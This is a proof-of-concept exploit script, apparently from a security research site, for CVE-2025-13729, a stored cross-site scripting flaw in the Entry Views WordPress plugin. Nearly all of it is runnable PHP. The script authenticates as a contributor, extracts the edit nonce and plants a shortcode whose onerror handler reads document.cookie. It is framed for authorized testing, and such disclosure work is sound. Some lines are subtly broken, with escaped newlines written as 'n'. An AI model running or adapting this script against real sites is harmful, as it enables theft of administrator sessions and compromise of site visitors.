CVE-2025-13729: Entry Views <= 1.0.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode (entry-views)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13729 - Entry Views <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
// CONFIGURATION
$target_url = 'http://target-site.local/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id_to_edit = 123; // ID of an existing post the contributor can edit.

// ASSUMPTIONS:
// 1. The attacker has contributor credentials.
// 2. The 'entry-views' shortcode is vulnerable to XSS via its attributes.
// 3. The attacker can edit a post (e.g., a draft) to inject the payload.
// 4. The payload will be stored and execute when an admin or visitor views the post.

// Payload: A basic XSS proof-of-concept to trigger an alert.
$malicious_shortcode = '[entry-views example="<img src="x" onerror="alert(`Atomic Edge XSS: `+document.cookie)">"]';

// Initialize cURL session for cookie persistence.
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// STEP 1: Authenticate to WordPress.
echo "[+] Authenticating as {$username}n";
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
    die("[-] Authentication failed. Check credentials.");
}

// STEP 2: Navigate to the post edit page to obtain a nonce.
echo "[+] Retrieving edit page and nonce for post ID {$post_id_to_edit}n";
$edit_url = "http://target-site.local/wp-admin/post.php?post={$post_id_to_edit}&action=edit";
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$edit_page = curl_exec($ch);

// Extract the nonce for updating the post. This regex looks for the '_wpnonce' field in the post edit form.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die("[-] Could not extract nonce from edit page.");
}
$nonce = $nonce_matches[1];
echo "[+] Extracted nonce: {$nonce}n";

// STEP 3: Update the post content to include the malicious shortcode.
echo "[+] Injecting malicious shortcode into post content.n";
$update_url = "http://target-site.local/wp-admin/post.php";
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
// For simplicity, this assumes we are replacing the entire post content.
// A real attack might append to existing content.
$update_fields = [
    'post_ID' => $post_id_to_edit,
    '_wpnonce' => $nonce,
    '_wp_http_referer' => urlencode("/wp-admin/post.php?post={$post_id_to_edit}&action=edit"),
    'action' => 'editpost',
    'content' => $malicious_shortcode,
    'save' => 'Update'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);
if (strpos($update_response, 'Post updated.') !== false || strpos($update_response, 'Post draft updated.') !== false) {
    echo "[+] Success! Post updated with malicious shortcode.n";
    echo "[+] The XSS payload will execute when the post is viewed: {$malicious_shortcode}n";
} else {
    echo "[-] Post update may have failed. Check permissions and post status.n";
}

curl_close($ch);
?>